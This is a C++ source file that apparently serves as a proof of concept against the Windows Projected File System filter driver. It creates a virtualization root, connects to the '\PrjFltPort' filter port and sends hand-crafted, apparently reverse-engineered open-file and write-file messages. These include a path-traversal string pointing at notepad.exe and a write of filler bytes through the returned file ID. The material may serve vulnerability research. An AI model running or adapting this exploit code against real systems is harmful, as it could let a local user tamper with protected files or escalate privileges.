// FltTest.cpp : This file contains the 'main' function. Program execution begins and ends there.
//

#include <iostream>
#include <Windows.h>
#include <fltuser.h>
#include <projectedfslib.h>
#pragma comment(lib, "projectedfslib.lib")
#pragma comment(lib, "FltLib.lib")

#include "ntdll.h"
#pragma comment(lib, "ntdll")

PWSTR gProcessPath = NULL;
PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT gInstanceHandle;


DWORD CompleteCommandWorker(int CommandId);

struct __declspec(align(4)) _PRJ_CONNECTION_CONTEXT
{
	GUID virtualizationInstanceID;
	unsigned int Version;
	USHORT VolumeLength;
	WCHAR szVolume[256];
};




void PrintInstanceId() {
	PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo;
	HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo);
	if (FAILED(hr))
	{
		wprintf(L"Failed to create instance ID (0x%08x)\n", hr);
		return;
	}

	OLECHAR* guidString;
	StringFromCLSID(InstanceInfo.InstanceID, &guidString);
	wprintf(L"InstanceId: %s\n", guidString);


	LPCOLESTR lpsz = guidString;
	GUID InstanceId;
	hr = CLSIDFromString(lpsz, &InstanceId);
	if (FAILED(hr))
	{
		wprintf(L"Failed to create instance ID (0x%08x)\n", hr);
		return;
	}

	CoTaskMemFree(guidString);
}

void CreateVirtualizationRoot(LPCWSTR szRootName = NULL) {

	HRESULT hr;
	//const wchar_t* rootName = LR"(C:\virtRoot)";
	const wchar_t* rootName = szRootName;

	RemoveDirectoryW(rootName);

	//if (!CreateDirectoryW(rootName, nullptr))
	//{
	//	hr = HRESULT_FROM_WIN32(GetLastError());
	//	wprintf(L"Failed to create virtualization root (0x%08x)\n", hr);
	//	return;
	//}

	GUID instanceId;

	hr = CoCreateGuid(&instanceId);
	if (FAILED(hr))
	{
		wprintf(L"Failed to create instance ID (0x%08x)\n", hr);
		return;
	}

	hr = PrjMarkDirectoryAsPlaceholder(rootName,
		nullptr,
		nullptr,
		&instanceId);
	if (FAILED(hr))
	{
		wprintf(L"Failed to mark virtualization root (0x%08x)\n", hr);
		return;
	}

}


HRESULT MyStartEnumCallback(
	const PRJ_CALLBACK_DATA* callbackData,
	const GUID* enumerationId
)
{
	printf("MyStartEnumCallback\n");
	//PatchLib();
	//CompleteCommandWorker(0);
	return S_OK;
}

HRESULT MyEndEnumCallback(
	const PRJ_CALLBACK_DATA* callbackData,
	const GUID* enumerationId
)
{
	printf("MyEndEnumCallback\n");
	//Sleep(1000);
	return S_OK;
}


int gIndex = 0;
HRESULT MyGetEnumCallback(
	const PRJ_CALLBACK_DATA* callbackData,
	const GUID* enumerationId,
	PCWSTR searchExpression,
	PRJ_DIR_ENTRY_BUFFER_HANDLE dirEntryBufferHandle
)
{
	//Sleep(3000);
	//printf("Index=%d\n", ++gIndex);
	//printf("MyGetEnumCallback\n");
	//CompleteCommandWorker(callbackData->CommandId);
	//PatchLib();
	return S_OK;
}

HRESULT MyGetPlaceholderInfoCallback(
	const PRJ_CALLBACK_DATA* callbackData
)
{
	//getchar();
	return S_OK;
}

HRESULT MyGetFileDataCallback(
	const PRJ_CALLBACK_DATA* callbackData,
	UINT64 byteOffset,
	UINT32 length
)
{
	return S_OK;
}

PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT StartVirtualizatioInstance(LPCWSTR szRootName = NULL) {
	PRJ_CALLBACKS callbackTable;

	// Supply required callbacks.
	callbackTable.StartDirectoryEnumerationCallback = MyStartEnumCallback;
	callbackTable.EndDirectoryEnumerationCallback = MyEndEnumCallback;
	callbackTable.GetDirectoryEnumerationCallback = MyGetEnumCallback;
	callbackTable.GetPlaceholderInfoCallback = MyGetPlaceholderInfoCallback;
	callbackTable.GetFileDataCallback = MyGetFileDataCallback;

	// The rest of the callbacks are optional.
	callbackTable.QueryFileNameCallback = nullptr;
	callbackTable.NotificationCallback = nullptr;
	callbackTable.CancelCommandCallback = nullptr;

	HRESULT hr;
	//const wchar_t* rootName = LR"(C:\virtRoot)";
	const wchar_t* rootName = szRootName;

	PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT instanceHandle;
	hr = PrjStartVirtualizing(rootName,
		&callbackTable,
		nullptr,
		nullptr,
		&instanceHandle);
	if (FAILED(hr))
	{
		wprintf(L"Failed to start the virtualization instance (0x%08x)\n", hr);
		return 0;
	}

	gInstanceHandle = instanceHandle;

	return instanceHandle;
}




struct _PRJ_MSG_IN_HEADER
{
	int MessageType;
	int InputBufferSize;
};


struct _PRJ_VIR_INSTANCE_INFO
{
	GUID virtualizationInstanceID;
	int Tag;
};


struct _PRJ_MSG_OPEN_FILE_HANDLER_IN_DATA
{
	ULONG DataSize;
	int _4;
	_PRJ_VIR_INSTANCE_INFO VirInstanceInfo;
	char _1c[60];
	ULONG DesiredAccess;
	ULONG RelPathOffset;
	USHORT RelPathLength;
	WCHAR RelBuffer[MAX_PATH + 1];
};

struct _PRJ_MSG_OPEN_FILE_HANDLER
{
	_PRJ_MSG_IN_HEADER Header;
	_PRJ_MSG_OPEN_FILE_HANDLER_IN_DATA Data;
};

struct _PRJ_MSG_OPEN_FILE_HANDLER_OUT_DATA
{
	int MessageType;
	int Size;
	int Status;
	UUID FileId;
};

GUID GetInstanceId() {
	GUID InstanceId = { 0 };

	PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo;
	HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo);
	if (FAILED(hr))
	{
		wprintf(L"Failed to create instance ID (0x%08x)\n", hr);
		
		return InstanceId;
	}
	InstanceId = InstanceInfo.InstanceID;

	return InstanceId;
}

HANDLE OpenPort(const wchar_t* rootName) {
	

	CreateVirtualizationRoot(rootName);
	StartVirtualizatioInstance(rootName);
	PrintInstanceId();

	HANDLE hPort = NULL;

	_PRJ_CONNECTION_CONTEXT Context;
	Context.VolumeLength = 0x100;
	Context.Version = 1;
	Context.virtualizationInstanceID = GetInstanceId();
	wcscpy_s(Context.szVolume, rootName);
	ULONG SizeOfContext = sizeof(_PRJ_CONNECTION_CONTEXT);

	HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, &Context, SizeOfContext, NULL, &hPort);

	printf("FilterConnectCommunicationPort hResult:%x\thPort:%x\n", hResult, hPort);

	return hPort;

}

UUID PrjOpenFileHandler(HANDLE hPort)
{
	
	DWORD   InputBufferLength = 0x1000;
	PVOID   InputBuffer = malloc(InputBufferLength);

	DWORD   OutputBufferLength = 0x1000;
	PVOID   OutputBuffer = malloc(OutputBufferLength);

	memset(InputBuffer, 0, InputBufferLength);
	memset(OutputBuffer, 0, OutputBufferLength);

	DWORD BytesReturned = 0;

	_PRJ_MSG_OPEN_FILE_HANDLER Message = { 0 };

	memset(&Message, 0, sizeof(Message));

	Message.Header.MessageType = 8;
	Message.Header.InputBufferSize = sizeof(Message);
	Message.Data.DataSize = sizeof(_PRJ_MSG_OPEN_FILE_HANDLER_IN_DATA);

	Message.Data.VirInstanceInfo.Tag = 0x9000001C;
	Message.Data.VirInstanceInfo.virtualizationInstanceID = GetInstanceId();
	Message.Data.DesiredAccess = GENERIC_READ;
	Message.Data.RelPathOffset = 0x62;
	Message.Data.RelPathLength = MAX_PATH;
	wcscpy_s(Message.Data.RelBuffer, L"..\\windows\\notepad.exe");
	wcscpy_s(Message.Data.RelBuffer, L"1\\ARP.exe");
	//wcscpy_s(Message.Data.RelBuffer, L"New folder (2)");


	memcpy(InputBuffer, &Message, sizeof(Message));
	InputBufferLength = Message.Header.InputBufferSize;

	HRESULT hResult = FilterSendMessage(hPort, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength, &BytesReturned);
	printf("FilterSendMessage hResult:%x\n", hResult);

	_PRJ_MSG_OPEN_FILE_HANDLER_OUT_DATA* pOutData = (_PRJ_MSG_OPEN_FILE_HANDLER_OUT_DATA*)OutputBuffer;

	OLECHAR* guidString;
	StringFromCLSID(pOutData->FileId, &guidString);
	wprintf(L"FileId: %s\n", guidString);

	return pOutData->FileId;
}


struct _PRJ_MSG_WRITE_FILE_HANDLER_IN_DATA
{
	ULONG Size;
	char _Padding1[4];
	_PRJ_VIR_INSTANCE_INFO VirInstanceInfo;
	char _Padding3[4];
	char _14[56];
	UUID FileId;
	LARGE_INTEGER ByteOffset;
	ULONG Length;
	char _Padding2[4];
	PVOID pDataBuffer;
};


struct _PRJ_MSG_WRITE_FILE_HANDLER
{
	_PRJ_MSG_IN_HEADER Header;
	_PRJ_MSG_WRITE_FILE_HANDLER_IN_DATA Data;
};

struct _PRJ_MSG_WRITE_FILE_HANDLER_OUT_DATA
{
	int MessageType;
	int Size;
	int Status;
};

void PrjWriteFileHandler(HANDLE hPort, UUID FileId)
{

	DWORD   InputBufferLength = 0x1000;
	PVOID   InputBuffer = malloc(InputBufferLength);

	DWORD   OutputBufferLength = 0x1000;
	PVOID   OutputBuffer = malloc(OutputBufferLength);

	memset(InputBuffer, 0, InputBufferLength);
	memset(OutputBuffer, 0, OutputBufferLength);

	DWORD BytesReturned = 0;

	_PRJ_MSG_WRITE_FILE_HANDLER Message = { 0 };

	memset(&Message, 0, sizeof(Message));

	Message.Header.MessageType = 1;
	Message.Header.InputBufferSize = sizeof(Message);
	Message.Data.Size = sizeof(_PRJ_MSG_WRITE_FILE_HANDLER_IN_DATA);

	Message.Data.VirInstanceInfo.Tag = 0x9000001C;
	Message.Data.VirInstanceInfo.virtualizationInstanceID = GetInstanceId();
	Message.Data.FileId = FileId;
	Message.Data.ByteOffset.QuadPart = 0;
	Message.Data.Length = 0x10;
	Message.Data.pDataBuffer = malloc(0x10);
	memset(Message.Data.pDataBuffer, 'B', 0x10);


	memcpy(InputBuffer, &Message, sizeof(Message));
	InputBufferLength = Message.Header.InputBufferSize;

	HRESULT hResult = FilterSendMessage(hPort, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength, &BytesReturned);
	printf("FilterSendMessage hResult:%x\n", hResult);

	_PRJ_MSG_WRITE_FILE_HANDLER_OUT_DATA* pOutData = (_PRJ_MSG_WRITE_FILE_HANDLER_OUT_DATA*)OutputBuffer;


	return;
}

LONG DeleteDirectory(LPCWSTR szDir)
{
	SHFILEOPSTRUCTW fos = { 0 };

	// delete the folder and everything inside
	fos.wFunc = FO_DELETE;
	fos.pFrom = szDir;
	fos.fFlags = FOF_NO_UI;
	return SHFileOperation(&fos);
}


int wmain(int argc, WCHAR* argv[])
{

	//CreateDirectoryW(L"c:\\virtRoot\\", nullptr);
	//DeleteDirectory(L"c:\\virtRoot\\1");
	//CreateDirectoryW(L"c:\\virtRoot\\1", nullptr);

	//getchar();


	const wchar_t* rootName = LR"(C:\virtRoot)";
	HANDLE hPort = OpenPort(rootName);


	
	HANDLE hFile = CreateFileW(L"c:\\virtRoot\\1\\1.txt", GENERIC_ALL, 7, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

	UUID FileId = PrjOpenFileHandler(hPort);

	PrjWriteFileHandler(hPort, FileId);

	getchar();

	return 0;
}